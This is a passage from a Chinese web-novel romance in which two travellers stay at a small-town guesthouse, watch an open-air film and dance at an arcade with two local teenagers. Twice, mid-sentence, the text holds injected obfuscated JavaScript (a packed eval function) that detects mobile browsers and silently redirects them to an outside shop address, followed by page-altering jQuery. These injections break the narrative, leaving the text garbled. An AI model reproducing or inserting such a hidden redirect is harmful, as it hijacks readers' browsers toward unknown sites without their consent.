“啪嗒”。行李箱的拉杆倒下,连天空都栽倒在地里面。这举动无异于上下颠倒,隗祯本人更是惊诧到整个人凝固在原地,手脚如过电一般,就是不听使唤。 即便如此,他的第一反应仍是关切。 “你怎么能……怎么能乱咬东西呢!细菌吃进肚子里,疼坏身体怎么办。” 不合时宜地,隗祯想起濮怀玉坐在下铺床边咬苹果片时“咔嚓”“咔嚓”的声响,鲜艳的果皮留下咬痕,跟花瓣一样。 濮怀玉弯腰捞起他的行李箱,满脸写着“咬就咬了,你能拿我怎么样”,缀在人群后面快步朝外走,中途回了一下头: “隗祯,你是傻了吗?” 他只好跑起来,棕色翻领夹克下摆在空气中燕尾似的划过。 称呼变了,但好像不是从这一刻才开始。当隗祯情急之下唤出“小玉”,濮怀玉便抬眼看向他,然后若无其事垂下。 「已记录下音频。」 隗祯匆匆接过濮怀玉手里的拉杆,狼狈地把箱子,也把自己往前推:「你一定要通过这种方式介绍你的新功能吗?」 「你以后一定会感谢我的。」分明只是机器,却能听出笃定,「不,不需要以后,大概率就是这几天了。」 接驳车是一辆老头乐,隗祯得猫着腰才能坐进去。坐下后也不干别的,他第一时间摸向那出牙印,还在。 “师傅,一共多少钱啊。” 五六十岁的中年人坐在驾驶座上,精神抖擞给她比了个数,随后聊开了:“闺女,你谈的这男朋友太俊了,给你便宜一点。” 耶,都不需要杀价。濮怀玉对隗祯面无表情比出剪刀手,仿佛得伴随一声“victory”的音效才完整。 隗祯则有些出神,心想:她没有否认。 窗外树的影子,阳光的影子都在后退,像无限向前延伸的画框。他的心里蓦地产生一种别样的刺激感,为她的理所当然,为自己不由分说的默认。 是罪恶吗?还是偷来的窃喜感? 心情是暧昧不定。 至少省了点车钱,如此也没什么不好,就随她吧。隗祯看向窗外,准备这次旅行结束向濮怀玉问清楚所有的路费然后支付清楚,哪有让她这个还没出社会的学生花钱的道理。自己还是个需要人照顾的半大孩子,就算会照顾别的孩子,也不该少了对她的那份关怀。 老头乐开到了小镇上,挺大的镇子,有个破旧的综合体,一路开过来还有电影院,红色的凸起用楷体写“工人电影院”,老旧到不知道是否还在运营。 剥落的墙体旁边是相对有七八成新的卫生院,大门旁边既卖婴儿用品,又卖花圈,人的一生原来在咫尺之间就能对天地有个交代。 这是隗祯从未见过的景象。 很快,老头乐停在一家招待所门口。 “长安招待所”。 “这可是咱镇上最好的招待所,老板可讲究了。闺女,你这男朋友可贴心。” 濮怀玉准备把行李箱运下去:“师傅,招待所是我定的,是我会疼人。” 隗祯低声说“我来吧”,将行李箱搬下车时耳垂红得刺眼。濮怀玉多看两眼,跟门口边吃饭边晒太阳的老板打个照面。 “阿姨,还记得我吗?” 老板筷子一搁,从围裙口袋里掏出纸巾擦擦嘴:“记得哎闺女,你是那个差点要跳楼的娃娃儿——” 濮怀玉一皱眉:“阿姨。” “不说了不说了。”老板赶忙去推门,濮怀玉先进,隗祯将行李箱一提,再抵着门说“您先进”。这一下子,这张脸、这副身段的好处一下子全都显现出来。 人至中年,还能大饱眼福,老板进门时情不自禁哼起小曲:“都交男朋友了。闺女,你好不容易来一次,阿姨给你打个八折。” “那怎么好意思。” “怎么不好意思?阿姨给你打八折,还有的赚呢,傻闺女。”老板到柜台后面,拿了把钥匙出来,上面拴着“52”的号码牌。 濮怀玉比出剪刀手:“要两间连着的。” 最后拿到51和52两间房,都在三楼。濮怀玉背着背包很轻松地爬上一层,便在那一层看隗祯运行李。 这个笨蛋,热也不知道脱外套,这里可不是燕京。濮怀玉迎面伸手,他却避过去,揩擦一把额角,相当嫌恶那个碍事的汗滴,仿佛会玷污人,跟她对视却又笑一笑,说“你先上去,我马上就来”。 到后来,他脱了外套,露出两边肌肉紧实的胳膊。濮怀玉早坐在房间里,甩掉背包敞着门,听见声音又跑出来。 “你要休息一下吗?休息好了我带你去吃饭。”濮怀玉看他蹙眉旋动钥匙,指间平添了铁锈味,比起累更像是脑筋运转时负荷太大,一直在思索所以心不在焉。 他说:“不用休息。濮……小玉,你得跟我说说跳楼的事。” “那不是真的,是老板看错了,我当时在屋顶上发呆而已。” 这回濮怀玉跟着他,走进被标为“51”的房间里。 蓝绿相间的印花床单,红紫晕染的印花窗帘。低矮的棕色木柜上放着白色烟灰缸,天花板正中央悬坠着电风扇,扯出一点无伤大雅的蛛网,常运作的空调在床尾,跟盥洗室并肩。 除了陈设有年代感,清洁程度能基本满足隗祯的要求。床垫、席梦思都很干净,就跟家里睡的床一样。 虽然如此,隗祯依旧从行李箱拿出湿巾和迷你拖把,戴上口罩就开始打扫卫生。 “你先坐会儿,我带了一次性拖鞋。”隗祯给了濮怀玉一双拖鞋,一盒草莓巧克力,“等会儿你的房间,我也要打扫。” 他的效率很高,濮怀玉巧克力没吃完就看见他从隔壁房间出来,摘下口罩露出脸:“可以了,我们去吃饭吧。” 濮怀玉点了点自己的脸颊:“好像消得差不多了。” 哇哦,耳垂一下子红了。“你不喜欢我这么做吗?”濮怀玉丝毫不善解人意地追问,“还是说,我咬疼你了,不咬疼就没事?” 隗祯:“……没有不喜欢。” “那就行。”下次还咬。 出门左拐,濮怀玉找了家炒菜馆坐下,给自己点了一份宫保鸡丁盖浇饭,又因为隗祯一句“要荤素搭配”多配了一小碗炒青菜。隗祯的视线在贴在墙上的菜单表面逡巡,要了一盘回锅肉,一碗白米饭。 这期间,炒菜馆的老板跟看珍稀动物一样时不时走过来看一眼。濮怀玉起身要找他说两句,被隗祯揪住袖子,力道若有若无: “万一多看几眼有优惠呢。”他也是学坏了,用口型跟濮怀玉说话。 最后,隗祯付钱的时候被老板抹了零头。濮怀玉吃了七分饱,坐在原位喝凉白开漱嘴,伸了个懒腰。 推开门,濮怀玉询问:“你觉得怎么样?” 隗祯:“什么?” “从住宿到刚刚的午饭。”她没有挡阳光,微眯起眼睛,心安理得接受天光的偏爱,“本来是为了简晟精心找的,他比你娇气得多。” “刚才吃饭的时候我就在想,他要是来了,可能会当场吐出来。幸好他没来,不然我的心情会很糟糕。” 她提起简晟,本应是理所当然的事,隗祯的心却揪起来,跟被水泡皱的书页似的。模糊的字迹在写什么,隗祯自己都不敢念。 “……我觉得很好,辛苦你做攻略。”以及,幸好简晟爽约,他不来,他才能来。 又是一阵沉默后。 “我跟他分手了。” 濮怀玉回首,男人垂眸看她,仿佛从眼睛里垂出若隐若现的、水滴的轮廓——如今他看她,总是一副太过于珍重到好像正在流泪的模样。 “我跟他说了我和裴县的故事,是他先提议要来看看,跟我一起面对往事。我本来想借助这趟旅行认清自己,进而考虑和他的关系,现在不需要 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「哇,你恼羞成怒了。」 隗祯声音一沉:「不许模仿小玉说话。」 “好了,确实没有摄像头,安心睡吧。” 检查完,濮怀玉退出去,礼貌地带了上了门。 什么都没发生。她路过时手微抬,隗祯以为她会来牵自己的手,指尖忍不住瑟缩一下,说不出是紧张还是期待,亦或是二者皆有,结果她只是把漏出口袋的摄像头检测器塞回去。 他无端感到失落。 然而中午摄入碳水化合物过量,隗祯躺在床上,很快感觉到眩晕。 恍惚间做梦,濮怀玉在回来的路上牵了他的手,在原先留下牙印的地方“啵”地轻轻吻一下。不是含糊不清的暧昧,而是真的说“我喜欢你”。 他是怎么回答的?“如果能让你开心一点的话”,似乎是这么说的。 毕竟,作为这个世界的租客,隗祯本就是为她定制出来的。他有过愤怒,甚至是轻蔑的误解,但如今一切都变成了控制不住的关心。 或许,他隐隐期盼那一缕青春的幽灵显出身影,可以拥抱她。 意识到这一点,好梦变成了坏梦,隗祯一下子惊醒了,后背渗出汗水。 他怎么可以这样想。怎么可以。 给自己灌了两杯水,隗祯擦拭着被冷水浸湿的嘴角和下颚,发现已经过去近一个小时的时间。于是他走进浴室,冲了个凉,然后换上新衣服。 当然,出来后他还喷上了这次旅行携带的香水小样。兰花香气,带着潮湿的水意,再燥热的天气嗅到都有种清新感。随后他便去敲濮怀玉的门,无人回应。 是睡着了吗?隗祯在微信上给濮怀玉发了消息,依旧没有答复。 看不见她,总觉得心慌。以防万一隗祯下楼找到坐前台的老板:“跟我一起来的女孩出过门过吗?” “没有啊,没看见。”老板摘下眼镜,链条在桌面“哗啦”一声散开,“人没了?” “谢谢。那我再回去找找。” 微信上依旧没消息,隗祯忽然有种相当不好的预感。跳楼……屋顶……他陡然反应过来,飞身朝楼上跑。 打开虚掩的铁门,隗祯也如愿看到坐在边缘的女孩,腰微微塌着,手撑在腿边,后脑勺迎着热浪流出一层薄薄的汗水。至于她手一松整个人会落到哪里,隗祯根本不敢想,一想就会断了脑袋里那根绷紧的弦。 “嗯?有人吗?”濮怀玉觉得自己听到了什么,询问道。 他不应,压着脚下声音慢慢向前走,然后骤然抱住濮怀玉的肩膀,像快要坍塌的墙,急喘的粗气是沙土松动掉落的杂音。 灼热的呼吸喷洒在濮怀玉脖颈上。“你怎么不说话啊,有点吓人了。” 但她也没有责怪,手覆盖在男人紧扣着自己肩膀的手背上,手臂反搂回去,问他,“就睡这么一小会儿,能休息好吗。” 隗祯依旧不说话,只是艰辛地从肺里挤出一点空气来,好像就要竭力。 濮怀玉这时反应过来了,拍拍他的手背:“你睁开眼睛往下面看看呢。” 一大片农田正向远处延伸,像是从濮怀玉脚下诞生出来的,很能跑,交错的阡陌除了通往种植不同作物的菜地,还有零星分布着的自建房。 最重要的是,就在濮怀玉正下方多出来一片空地,没多高,跳下去跟跳下一级阶梯没有分别,空地上有一片晾着床单的晾衣杆。 “我很珍惜自己的生命,就算你高中不教生命健康教育的专题,我也知道。” 察觉到隗祯的力道松动很多,濮怀玉安慰地捏捏他的手腕,“好了,别捂在我身上,我身上有汗。” “……没关系。我不在乎被你淋湿。” 就这样劫后余生般,他抱了她很久,等到心情平复下来才松开。 44. 044 等隗祯坐到身旁,濮怀玉道:“我之前就跟你说过了,我没有跳楼,我只是在发呆。看来你更需要当学生,学一学生命教育课程。” “嗯。”坐定后,隗祯依旧紧握住濮怀玉的手,对她笑了一下,“我学。” 这样的话,不管她要做什么,愿意活着更好,想要寻死也罢,都得带着他。 濮怀玉没有拒绝,情侣牵手理所当然。就这样默默握着,她和他一同眺望远处乃至于天边的美丽景色。 “我想过,妈妈是不是觉得我会不喜欢这一大片田,所以放弃了我。” 濮怀玉缓缓道,“她为什么要预设我的喜厌呢,我还没有落地到田埂上踩一踩,还没有帮她分担过农活,她为什么就觉得我不喜欢。” 濮怀玉真的很愿意帮她。她很会照料孤儿院里的菜园子,还很会做菜。对裴县的土地,濮怀玉更是有股说不出的亲近感,她觉得自己就算扎根在此,也能够破土而出。 院长曾经说过,濮怀玉是一颗必定能发芽的种子,无论土壤贫瘠与否,都会长出来,而且长得很好。 隗祯转头,声音发涩,是怎么都不能熟的干瘪的野果,只能看别的枝头上丰美的果实止渴:“她知道吗?” “我告诉过她,但她依旧不愿意。” 濮怀玉轻轻道,“初中的时候拿到地址,我找到她了。她说当初家里养不起第二个孩子,所以才把我丢了,觉得很对不起我。但我看到了,我还有个弟弟,他们都很喜欢他。” 说罢,濮怀玉从短袖的衣襟里面抽出玉坠,很次的料子,雕出慈祥的佛面:“当初她给了我这个,我以为她是想认回我的。” 她还为此换过一次绳子,然而亲眼见过一面就知道,到头来是一厢情愿的自我禁锢。 将玉佛放回去,贴着微冷的肌肤,濮怀玉的语气越来越淡,似乎在说别人的事:“她求我不要再找过来,不要再到裴县。我答应了,其实我骗她的。” 但她不会再试图在人群中找到生父生母,亲姐姐与亲弟弟了。人和人的缘分其实很浅,尤其是贫穷的人,哪怕隔的不远,只要意向不强烈,一辈子都可以不再见第二面。 “不会那么巧的。”濮怀玉转过头,“我要还妈妈和姐姐的恩情,已经没有多余的位置给那一家人坐了。” 他们是血脉相连一家人,她具备条件,却在其中找不到自己的位置。 “没有人领养我,我也不想走。”濮怀玉微微笑起来,抓了抓他的手,像化钝的蟹钳,不是为了刺伤什么,“我跟你一样,都没人要。” 隗祯也握了握,重叠的两只手就此成为有来有往纠缠在一起的一对:“别人的慧眼识珠,我们不需要。” 太阳的光斑在女孩的脸颊上晕开,眼泪一般。既然天地为她哭过,她便不再哭。 他的预感并没有错。火车从城市一直开往城市边缘乃至于乡村,看似远离人类发展的黄金地带,实际前往宇宙的核心,开往“濮怀玉”这个人的核心。 他没有错过,这真的很好。 男人不知凝神思忖着什么,濮怀玉一点一点靠过去,用他的肩头托起一点带着软肉的下颚。这个动作让隗祯浑身的寒毛竖起来,偏偏濮怀玉还动动鼻子,嗅他的味道。 从隗祯的角度只能看到一点侧脸,蜜一样的肤色,淡淡的绒毛让人想要用指腹轻巧地捻一捻。 “你的头发好像檀木。”她是在观察他,再镇定地给出观察报告,“……身上却有一股兰花的香味。好复杂。” 濮怀玉是真镇定,隗祯是假镇定,坐着一动也不动:“可能是因为我擦了香水,现在的工作需要。我自己是……没有体香的。” “显得上流,是吧。” 濮怀玉摸着被晒得发烫的地往后退,然后站起来。随后她伸手向隗祯:“出去逛逛?” 带着泥和沙尘的手,隗祯握住的时候心跟着发烫,根本无暇顾及自己的洁癖了。真是稀奇了,他这么注重卫生的人,洁癖竟然能间歇性治好。 她的手好暖和。好有力。 回过神的时候,濮怀玉暂时松开他,在用公用洗衣机旁的露天水池洗脸,他享用另一边,草草用水冲洗。水流蜿蜒向下,跟肌肉走向吻合。 然后,再度握上去,他们追着西斜的阳光走。县城能玩的地方太少了,尤其他们还在跟乡村接壤的繁华边缘,不仅玩的地方少,年轻人更少,就好像只有他们在最好的年华游手好闲。 濮怀玉给自己买了冰奶茶,在菜单上选来选去,最终给隗祯买了抹茶冰淇淋。他被她带着四处转,走进杂草丛生的广场,沿着河慢慢走,再坐到生锈的健身器材上。 “——那边。”她转过去,手指向河对岸,“那边晚上会放露天电影。以前放‘地道战’和‘闪闪的红星’,现在放武打片和爱情片。” 生活在其中的人不会发现自己的日复一日会成为旁人猎奇的对象,于是隗祯也慢慢变成了不觉奇怪的其中一员。他当做稀松平常,问她:“晚上要去看吗?” “可以,就是过桥要小心点。” 说完河对岸,濮怀玉又指向东边:“那边,有时候能看到马戏团。以前还训练动物,现在保护动物,训练人骑摩托车。” “那一定很惊险。” 她用手臂夹着喝了大半的奶茶,做出开车的动作:“你坐在观众席,马戏团的人就在眼皮底下‘嗡嗡’地开摩托。” 就像在勾画生活在这片土地上会拥有的日常生活一样。 “……今天晚上有的看吗?” “没有。要到七八月份。”濮怀玉重新吸起奶茶来,“而且,其实也没那么好看。表演的人背地里训练肯定受过很多的伤,我也不是会因为一点视觉刺激就高兴的年纪。” 一切都太迟了,隔着漫长的时间和不同的经历。她,他们,终究只是旅客而已,在这片根本没有没有旅游资源的土地上打发时间。 威化被滴落的冰淇淋浸得微湿,隗祯不得不先舔去融化的雪霜。苦味和腻味搅在一起,在啃咬已经发不出声音的威化筒。 濮怀玉便这样看着,看了一会儿才抽出纸巾施以援手,然后若无其事移开视线,好像不知道这样会让隗祯很性感。 “再坐一会儿,我们就去吃饭,吃完饭过桥看电影。” 晚饭又是面,不过是汤面,淋上青椒肉丝或是酱香排骨。有几个花花绿绿的社会青年围坐在角落吹啤酒,桌上统共没有几道菜,像是自知在别人眼里没有好形象一样,也不惹事,就是吹牛,有点儿吵。 有限的路灯在路边玩接力赛,看谁的灯光能挨着上一个。这样的昏暗,隗祯一路都握着濮怀玉的手,生怕她一不小心丢掉。 濮怀玉没想到他是这么腻歪的个性,还挺有意思,耐心告诉他:“初中的时候我一个人到这里,可没带人形救生圈。” 隗祯:“你那时候满十四岁吗?” “没有。我第一次来的那一年,管的还没有这么严。”濮怀玉回忆当时的场景,“当时我在车上遇到了一个十八岁出来打工的姐姐,跟她做伴了一晚。没有卧铺睡,坐六七个小时的火车。车上没有人害怕黑夜。” “其实现在想,如果我没有被丢掉,可能这个年纪就要出去打工了。” 可能性太大了,她又是中间的孩子。倘若血缘父母生个小弟弟是命中注定,早早出去打工赚钱或许才是他们口中的正道,趁早反哺家庭、尤其是弟弟才是最迫切的。 到时候,她的脑袋里会有“必须要读书”的念头吗?濮怀玉不清楚还能不能像现在这样运气好,人不会每个世界、时时刻刻都运气好。 隗祯跟着她跨过夜晚的桥:“但你很聪明,聪明的孩子不能继续读书,至少在国内没有人能看得下去。” “到时候就是家事了,外人看不下去也管不着。” 濮怀玉走在前面,头也不回,手却紧紧反握,“我当时真该问问她,我的亲姐姐有没有继续念书。我竟然现在才想到。” 走过桥,竖起的幕布前零散放着几张有些开裂的黄色方椅。濮怀玉像玩抢椅子游戏一样迅速提起两个逃跑,给隗祯一个,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648612|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己再坐一个。 后来,隗祯发现几乎每个有经验的观众都自带座椅。也有不拘小节的,往地上一坐,起来时拍拍屁股就走,说“我老伴催我”。 幕布上放的是《少林寺》,音效经由陈旧的大音响放出,很粗糙很闷。看电影的极少有年轻人,很多是老人,安静的时候木愣木愣,好像很难再有悲喜。可一旦发出声音,跟人拉起家常,又焕发出神采。 濮怀玉早看过了,意志游离,三心二意,更专注于身边人各异的反应。看着看着偏过头去,她发现隗祯看得很专注,影响映射在瞳孔上亮晶晶的。 她凑到他耳边,热气吐出:“你真没看过?这不应该啊。” 紧接着,隗祯紧捂住被她光顾过的右耳,又红了,像是熟透到不能再熟的果实,因为丰盈有福气产生垂坠感。濮怀玉真是稀奇,她还没下嘴,怎么就这样了。 只是,男人自乱阵脚却要装镇定,总是比装有底气可爱很多的,尤其是放在俊俏的男人身上。隗祯说“今晚就算看过”,濮怀玉也放过了他,没继续问。 心脏跳得很快,隗祯勉强让脸色严肃:“看电影,不要总看我。”可等濮怀玉转过头,她又在阴影里悄悄拉住他的手。 看过的电影陪着他看,未曾度过的虚无的生活教着他过。 画面在眼前波动,隗祯忽觉刺眼,依稀有眼泪渗出。 “嗯?……你怎么哭了。” 隗祯心想,濮怀玉就是这样的人,无法形容的好。能在她心上留下痕迹的,绝不是极致的憎恨,而是难以言喻的温柔。 她又凑上来,这次不是耳边,是他轻抿的唇边——眼泪一直滚落到这里,用指腹接上一滴再碾碎:“被电影感动到了吗?我知道他们耍的招式很帅,但也很难。” “你练过?”隗祯笑着擦了擦。 濮怀玉给他留下无限遐想空间,仗义人间的侠客总需要一点朦胧感:“我是个很全面的女人,你说呢。” 但他说:“但你终究不是铁做的,小玉。刀割在你身上,你也会痛的。” 她一副不太同意的模样,面无表情撇嘴:“还好吧,你就不能盼我点好的吗。” 电影看完,其他人相携着离开。有的很有公德心地带了塑料袋,鲜红鲜红的,裹着风扎紧了顺手扔进河堤上歪斜的垃圾桶里。但不少人觉得泥土能包罗万物,瓜子壳、坚果壳,甚至还有饼干、面包的包装纸,混着扔在地上。 濮怀玉跟隗祯没走,各自要了扫帚,将垃圾聚拢在一起。 “你帮我收着。”濮怀玉拍了一把他的肩膀,回来时拿着一个巨大的簸箕,跟挖掘机的爪一样,冷着脸说“大飞机来了”,一下子就把垃圾全都铲起来了。 负责支幕布的看起来像中年男人,问过才知道原来也就三十岁不到,连声向二人道谢。 “这环保意识还得提高,都是大爷大妈,很难一蹴而就。”他不让两个人接着整理带来的凳子椅子,“不能帮了,真不能,你们都是客人,这个我能自己来。” 仔细数,一张没少。“我的前辈说,以前还有椅子被顺回家的情况。”他笑道,“以后大家只会越来越好。” 再怎么古朴,再怎么迟缓,那也是跟燕京沪城这样的大城市相比,它也在慢慢向前进步,尤其是人情,越来越文明。 最重要的,永远是生活在其中的人,濮怀玉一直都是这样想的。 路灯亮着,河水两岸变的很静,即便在城市也不早了。濮怀玉在手机上随机找到一首歌外放,声音调到最大,拉着隗祯的手往回走。 “这样你还怕吗?” 隗祯无奈:“小玉,我不是怕这个,我……” 他是怕濮怀玉出事。 走进招待所,老板说了句“回来啦”,坐在柜台前打了个哈欠。让老年人跟着熬夜总有点歉疚感,但她只是挥了挥手,说年轻人就是这样,注意安全就行。 一切都像老电影。钻进各自的房间里前,隗祯对她轻轻说:“明天见。” 她也说:“晚安,明天见。” 45. 045 还有整一天的时间,五月三日就得坐火车往回走。但这一天似乎和平时没有太多区别,只是更平静、比昨天更热几分而已。 隗祯到阳台收衣服,手洗的皱痕被太阳晒得不甚明显,摸起来还有淡淡的暖意。向远处眺望,戴草帽的农民已开始在田间劳作。所有沉甸的谷穗,都是用双手捧出的丰收。 “笃笃”。 隗祯将行李箱匆忙拉上:“来了。” 濮怀玉出现在门口,脸被晒得红红的,手里拎着塑料袋。“我买了早饭。”她给他看,“有花卷、包子、烧饼……我就不一一说了。” 她坐在桌边,开始默默吸一杯豆浆解暑。隗祯进了趟洗手间,出来时拿着条冷毛巾,弯腰在她脸上轻按着。 “我自己带过来的毛巾,刚才新拆的。” 濮怀玉盯着他的眼睛看:“我又没说嫌弃你,这么讲究,背过来多重啊。” “我不怕重。”被她注视,隗祯很难不脸热,但只要想到她早早爬起来去街上的早餐铺选购早饭,一点旖旎气息很快被疼惜取代,“这么早就起来,也不多睡一会儿。” 吸完豆浆,濮怀玉开始吃包子,非常实在的大肉包,肉汁充盈,肉香四溢。 “我之前敲过门了,你没醒,我就自己去了。”她用一种关爱老年人的眼神看向他,“你看上去休息得不错。吃早饭吧,不要在意这些小细节。” 对濮怀玉来说,照顾从来都是相互的。不过隗祯似乎对她的眼神有点小小的不满,轻轻哼了一声,说:“这不是无需在意的小细节,你一个人走,我不放心。” 跟有分离焦虑的猫一样。濮怀玉心想,她本来不喜欢猫,现在似乎需要打个问号。 毛巾被脸颊熨热,隗祯洗过一遍晾好,回来与她挨着坐,结果不小心开出最不爱吃的豆沙包。然而,现磨的老式红豆沙即便不在他的取向上,也能吃出真挚和用心,因此他没有声张,默默全吃干净了。 之后,濮怀玉将咸烧饼掰成两半,一半给眼前人,另一半自己吃,不忘用塑料袋在桌面上垫着盛接碎屑,抬眸时好像发现新大陆:“在燕京的时候,我们也吃过好几顿饭,但到这里我才开始特意注意你的吃相。” 假如是猫,肯定也是顶漂亮、顶优雅的那一种。 话音刚落,隗祯突然有些偶像包袱。尤其是手里簌簌掉屑的烧饼,他接都接过了,现在却觉得吃起来实在不雅,实在有些犹豫。 直到被濮怀玉捏了一把脸颊,他满目的惊诧。 “你怎么这么不禁夸?掰给你不是给你拿在手里看的,吃。”濮怀玉直接命令。 于是,隗祯小口咀嚼起来。 结束早饭,两人去了附近的综合体闲逛。这里大概是年轻人最多的地方了,濮怀玉在指示牌上找到了一家书咖,正准备步行前去,结果被拦下来。 是两个女生,露出的手臂无一例外都有纹身,一个穿黑吊带配牛仔短裤,一个穿oversize涂鸦短袖和七分牛仔裤,嘻嘻哈哈向隗祯要微信。 隗祯微皱眉,即便没有一年不到的教师生涯,他也会对这类人避之不及。 在他严词拒绝前,濮怀玉指向自己:“我还站在这里呢。” 虽然满脸严肃,但莫名有股幽默色彩。吊带女生揶揄着开口,夹着浓重的地方口音:“姐姐,你这么认真干什么呀,我们就想跟你男朋友交个朋友。你要是不同意,我们也可以跟你交朋友啊。” 濮怀玉主动搭话,隗祯的眉皱得更深。他想直接将她拉走,生怕动起手来。而在他的认知中,肯定是两个陌生女生先暴起,要伤害作为“好孩子”的濮怀玉。 可她真的伸出了手机:“那就扫一下码。”这举动坦然得两个女生都愣了一下,但话都说出口了,最终真的加上了微信。 “‘混的人’是陈晓燕,‘陪你成灰’是刘红。我给你们改好备注了。” 相互介绍过,濮怀玉知道穿吊带的是陈晓燕,穿宽大短袖的是刘红。她凑上前指导她们改备注,毕竟自己的姓氏还真不常见。反倒是先前是香饽饽的隗祯,此刻被晾在一旁。 “哎,过了。” 濮怀玉有些可惜,陈晓燕却没有将输入法重新调回前页的耐心,有些不耐烦:“你这个pu是璞玉的pu吧?这个词我还是知道的。” “谢谢你夸我,但不是。” 刘红在旁边依葫芦画瓢找到了,给濮怀玉看:“是不是这个?……我对了!燕子姐,是这个pu。” 而陈晓燕喊的“姐姐”还真没说错,她才十六,刘红十五,都是上高中的年纪。隗祯在旁边听着,面露讶然之色,但在仔细观察中渐渐得到平复。 是的,两人的脸都依稀能看出一点稚气。 至于书咖,濮怀玉是不准备去了。“这里有什么好玩的吗,我跟他都是外地人,不知道有什么好玩的。” 刘红满脸理所当然:“上去跳舞啊!” “不行。”隗祯的思绪一下子飞到十万八千里去。在梁女士的年代确实流行过舞厅,如今也有很多权贵将跳舞视作猎艳的手段,他没想到还能在这座小城见到类似的形式。 陈晓燕觉得败兴:“姐姐,你这男朋友长这么帅有什么用,也太没意思了吧。” 被精神小妹说“没用”,隗祯不觉羞愤,倒是要被气笑了。 “他心里有偏见。”濮怀玉也不帮他说话,“我们上去吧,看到他就知道了。” 实在拦不住,四个人一同乘破旧的电梯上楼。上升的过程中,陈晓燕跟刘红一直在闲聊化妆品和周围人的轶事,听的隗祯未免心惊胆战。 濮怀玉只是听,冷静地说自己不化妆,念高中的时候周围人也没有打胎的。 她们有种朴素的观念。陈晓燕说:“我才不为了男人打胎呢,我只是不学习,又不是爱吃苦。打胎多疼啊,掉块肉呢。” “我也觉得。”濮怀玉突然拍了拍隗祯的肩膀,“就算是这种,怀了孩子也不行。” 刘红点头:“当然啊!他长得再好看,再喜欢你,又不是他打胎。” 濮怀玉一下子放心了。 隗祯在简单的震惊过后,心想这样的教育方式也不错。 等聊到作业,两个女生终于跟平常不太写作业的濮怀玉有了共鸣,纷纷说“写什么作业”“写了没用,不如拍短视频来钱”。 “你抖音有号吗?” “有,但我不拍短视频,为了抢券才下载的。” 陈晓燕说她“真没意思”,但电梯已经到达四楼。 眼前是陈旧的电玩城,斑斓的彩色蒙尘间有种不真实感。而两个女生口中的“跳舞”不过是投币后登上跳舞机,轻盈地踩踏成舞而已。 买了币,她们娴熟地登上一对。比起因为倾斜的箭头机械而紧张地猛踩,已然可以跟随屏幕中心的小人一起跳舞,和已然逝去的千禧年你一步、我一步,交际舞一般,留在记忆里。 濮怀玉在下面看着,新鲜出炉的游戏币在手心有一搭没一搭地腾空再接住。 说话的同时,她仍旧注视着两人的舞姿:“你要去玩别的项目吗?抓娃娃什么的。” “不了。”隗祯环顾四周,发现没什么人之后松了口气,“你要玩什么?我在旁边看着就行了。” “跳腻了。”就在这时,陈晓燕跳下机器,一副无所谓的样子,“你要跳吗?” 濮怀玉骤然握紧游戏币,点头:“嗯,我就玩这个。帮我看住我男朋友,好妹妹。” 一句话能把两个人都逗脸红。 陈晓燕的重点早就不在隗祯身上了,忍不住出声:“喂,你能玩明白吗——” 言下之意,她这个前辈能带带她。 但濮怀玉已经跳上跳舞机,游戏币清脆落响,她看着正中间的小人,余光是慢慢移动的各色箭头。 濮怀玉在最该偷玩Q|Q炫舞的年纪选择了给孩子做饭和帮院长料理菜园,可这并不代表她丝毫不懂机制,被各种娱乐方式拒之门外。 她的脑袋至少还能再聪明二十年——不,三十年。濮怀玉相信自己不会那么早就迟到,她才刚刚拥抱未来。 一旁的刘红,脚步也渐渐慢下来。 她和晓燕姐今天遇到的这位pu怀玉,身上有股不可思议的气质。 就比如现在,作为一个完完全全的新手,她本该因为被框死的箭头手忙脚乱,她们第一次玩就是这样;但濮怀玉很不一样,她非常随意地踩着小人的步伐,闲云野鹤,直到毫无错漏。 她们两个都很瘦,虽然大部分原因是有时吃不饱饭还得暴走,,但她们还挺引以为豪——细细直直的手臂、细细直直的双腿是好身材的标志,这样的女生跳舞才好看,也更容易招人喜欢。 濮怀玉是跟这种理想模样相差十万八千里的身材,胳膊肌肉线条清晰笃定,转身时衣摆上扬、显露出的腰身有很明显的腹肌痕迹,也跟细软没有半分关系。那样的腰,容纳那么多器官让人觉得很自然,也很可靠——对柔软的脏器来说。 在隗祯眼里,她聪明到难以用语言形容。会观察,会模仿,再转化成自己的狩猎技能。 俊得整个人都在发光。 游戏城内,其他人渐渐被吸引来。寻常的跳舞机也具有了非凡的魅力,尽管濮怀玉没收一分钱,只是个再普通不过的新手,但她现在像个出色过头的托。 跳下跳舞机的时候,她第一时间走向陈晓燕:“是你刚才教得好。” “我怎么教了……!” 濮怀玉没回答,走到隗祯面前。他便也将就地掏出湿纸巾,拆开来在她脸上揩擦。 陈晓燕抿抿嘴。 她忽然走过去,正好迎着隗祯的方向,当然也看到他眼里的戒备——是的,这就是大多数“走正道”的人看她的眼神。 然后,陈晓燕拉住了濮怀玉的胳膊。她回眸,澄澈的黑眸没有任何杂质,就这么静静地望向她:“怎么了?” 她就不这样看。好像她心里很明白,自己不是坏人,刘红也不是。 “……才跳了一首,就要休息了?你们这些交男朋友的人,就是腻歪!” 陈晓燕把她拉跳舞机旁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653645|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让刘红下来,再把她拉到空了的机器旁:“你上去!我们继续,再跳五首,不,十首。” 